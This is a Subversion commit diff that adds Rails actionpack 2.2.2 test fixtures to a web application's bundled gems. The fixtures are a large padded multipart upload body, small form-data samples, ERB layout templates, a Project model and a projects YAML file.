aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+--AaB03x--

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/mixed_files
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/mixed_files
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/mona_lisa.jpg
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/mona_lisa.jpg
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/single_parameter
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/single_parameter	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/single_parameter	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+--AaB03x
+Content-Disposition: form-data; name="foo"
+
+bar
+--AaB03x--

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/text_file
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/text_file	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart/text_file	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+--AaB03x
+Content-Disposition: form-data; name="foo"
+
+bar
+--AaB03x
+Content-Disposition: form-data; name="file"; filename="file.txt"
+Content-Type: text/plain
+
+contents
+--AaB03x--

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/override/test/hello_world.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/override/test/hello_world.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/override/test/hello_world.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Hello overridden world!
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/override2/layouts/test/sub.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/override2/layouts/test/sub.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/override2/layouts/test/sub.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+layout: <%= yield %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/layouts/post.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/layouts/post.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/layouts/post.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<html><div id="html"><%= yield %></div></html>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/layouts/super_post.iphone.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/layouts/super_post.iphone.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/layouts/super_post.iphone.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<html><div id="super_iphone"><%= yield %></div></html>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/post/index.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/post/index.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/post/index.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Hello Firefox
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/post/index.iphone.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/post/index.iphone.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/post/index.iphone.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Hello iPhone
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/super_post/index.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/super_post/index.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/super_post/index.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Super Firefox
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/super_post/index.iphone.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/super_post/index.iphone.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/super_post/index.iphone.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Super iPhone
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/project.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/project.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/project.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class Project < ActiveRecord::Base
+  has_and_belongs_to_many :developers, :uniq => true
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/projects/_project.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/projects/_project.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/projects/_project.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= project.name %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/projects.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/projects.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/projects.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+action_controller:
+  id: 2
+  name: Active Controller
+
+active_record:
+  id: 1
+  name: Active Record

